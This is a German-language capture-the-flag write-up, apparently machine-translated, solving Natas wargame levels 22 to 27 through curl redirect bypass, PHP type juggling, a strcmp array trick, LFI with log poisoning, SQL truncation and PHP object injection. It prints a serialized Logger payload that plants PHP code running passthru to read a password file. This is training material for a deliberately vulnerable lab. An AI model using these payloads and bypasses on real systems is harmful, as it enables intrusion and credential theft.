
In diesem Artikel werden wir uns am Beispiel des
Natas- Kriegsspiels mit der Funktionsweise einiger WEB-Identitäten befassen. Jede Ebene hat Zugriff auf das Passwort der nächsten Ebene. Alle Passwörter werden auch in den Dateien / etc / natas_webpass / gespeichert. Beispielsweise wird das Kennwort für natas5 in der Datei / etc / natas_webpass / natas5 gespeichert und ist für die Benutzer natas4 und natas5 schreibgeschützt.
Vergangene Teile:
Teil 1 ,
Teil 2 und
Teil 3 .
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Level 22
Nach der Analyse des Quellcodes wird deutlich, dass das Kennwort angezeigt wird, wenn der Parameter lovio GET nicht leer ist.

Wenn die Administrationssitzung bei der ersten Überprüfung nicht installiert ist, werden wir ohne Parameter auf diese Seite umgeleitet.

Sie müssen nur den Web-Agenten verwenden, keinen Browser, zum Beispiel Curl.


Wir nehmen das Passwort weg.
Level 23
Wir analysieren den Quellcode. Die Funktion strstr (s1, s2) gibt einen Teilstring von s1 zurück, der mit s2 beginnt. Auch PHP wirft automatisch Typen. Das heißt, wenn Sie es vergleichen, führt es die Zeichenfolge zu einer Zahl und verwirft zusätzliche Zeichen.

Die Saite "11iloveyou" ist für unseren Zustand geeignet. Bei der ersten Überprüfung wird "iloveyou" zurückgegeben, dh "True". Bei der zweiten Prüfung 11> 10, d. H. Wahr.

Level 24
Diese Ebene enthält auch einen logischen Fehler. Die Bedingung ist trotzdem wahr, wenn strcmp FALSE zurückgibt. Aber strcmp gibt auch im Fehlerfall FALSE zurück.

Obwohl PHP Typen automatisch umwandelt, ist es nicht möglich, ein Array in einen String umzuwandeln. Öffnen Sie dazu den Seitenquellcode und ändern Sie den Feldnamen von "passwd" in "passwd []".

Wir senden jede Zeile.

Wir nehmen das Passwort weg.
Level 25
Am interessantesten bei der Analyse des Quellcodes ist die Funktion logRequest (), die Felder verarbeitet, die der Benutzer steuern kann. Dies ist der HTTP-Header von User_Agent und Cookie session_id.



Es ist zu beachten, dass alle Sequenzen "../" aus der Zeichenfolge gelöscht werden. Dies kann jedoch erfolgen durch: "... /. /" => "../".
Lösungsidee: Da der Pfad zum Aufzeichnen von Protokollen von session_id abhängt, die wir steuern können, und durch Auswahl der Anzeigesprache der Pfad auf dem Server ausgewählt wird - aufgrund von LFI können wir die Protokolldatei lesen.




Jetzt muss das Passwort aus / etc / natas_webpass / natas26 in unsere Protokolldatei geschrieben werden. Da unser Web-Agent zuerst aufgezeichnet und dann aus der Datei ausgegeben wird, fügen wir diesem Feld den PHP-Code hinzu.


Wir bekommen das Passwort.
Stufe 26
In diesem Beispiel liegt eine sehr schwerwiegende Sicherheitsanfälligkeit vor - die ungefilterte Deserialisierung von Objekten. Die Funktion unserialize () nimmt eine serialisierte Variable und konvertiert sie zurück in ein PHP-Objekt.

Der konvertierte Wert wird zurückgegeben. Dies kann eine Ganzzahl, ein Float, ein String, ein Array oder ein Objekt sein. Das heißt, Sie können jeden Code ausführen. Die Logger-Klasse schreibt beim Erstellen bestimmte Informationen in die Datei.

Die Idee ist wie folgt:
- Schreiben Sie die Logger-Klasse neu, wobei anstelle einer der Nachrichten ein PHP-Code enthalten ist, der ein Kennwort ausgibt.
- Codieren Sie es in Base64.
- In den Keks einfügen.
- Greifen Sie auf die Protokolldatei zu.
- Passwort wegnehmen.
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ $this->initMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>"; $this->exitMsg="<? passthru('cat /etc/natas_webpass/natas27'); ?>"; $this->logFile = "img/phpobjinj.php"; } function log($msg){ ; } function __destruct(){ ; } } $obj = new Logger("obj"); echo urlencode(base64_encode(serialize($obj))); ?>



Wir bekommen das Passwort.
Level 27
Dieser Dienst stellt Benutzerdaten bereit. Wenn der Benutzer jedoch nicht vorhanden ist, erstellt er ihn mit dem angegebenen Benutzernamen und Kennwort.

Das Problem ist, dass der Dienst nach dem Erstellen des Benutzers sein Kennwort beim Anmelden nicht überprüft. Gleichzeitig fallen nur die ersten 64 Zeichen des Logins und des Passworts nach dem Filtern in die Datenbank. Darüber hinaus kennen wir den Benutzernamen: natas28.

Erstellen Sie einen Benutzer mit einem leeren Kennwort und Namen: "natas28_60-Leerzeichen_ beliebiges Zeichen". (Während der Überprüfung gibt es keine Übereinstimmung mit dem Benutzer natas28, aber während der Erstellung wird es gefiltert und der Datenbank hinzugefügt. Das heißt, das Kennwort wird beim nächsten Aufruf nicht überprüft.)


Wir gehen unter dem Namen natas28 und einem leeren Passwort. Wir bekommen die Benutzerdaten natas28.
Fortsetzung folgt. Sie können sich uns
per Telegramm anschließen .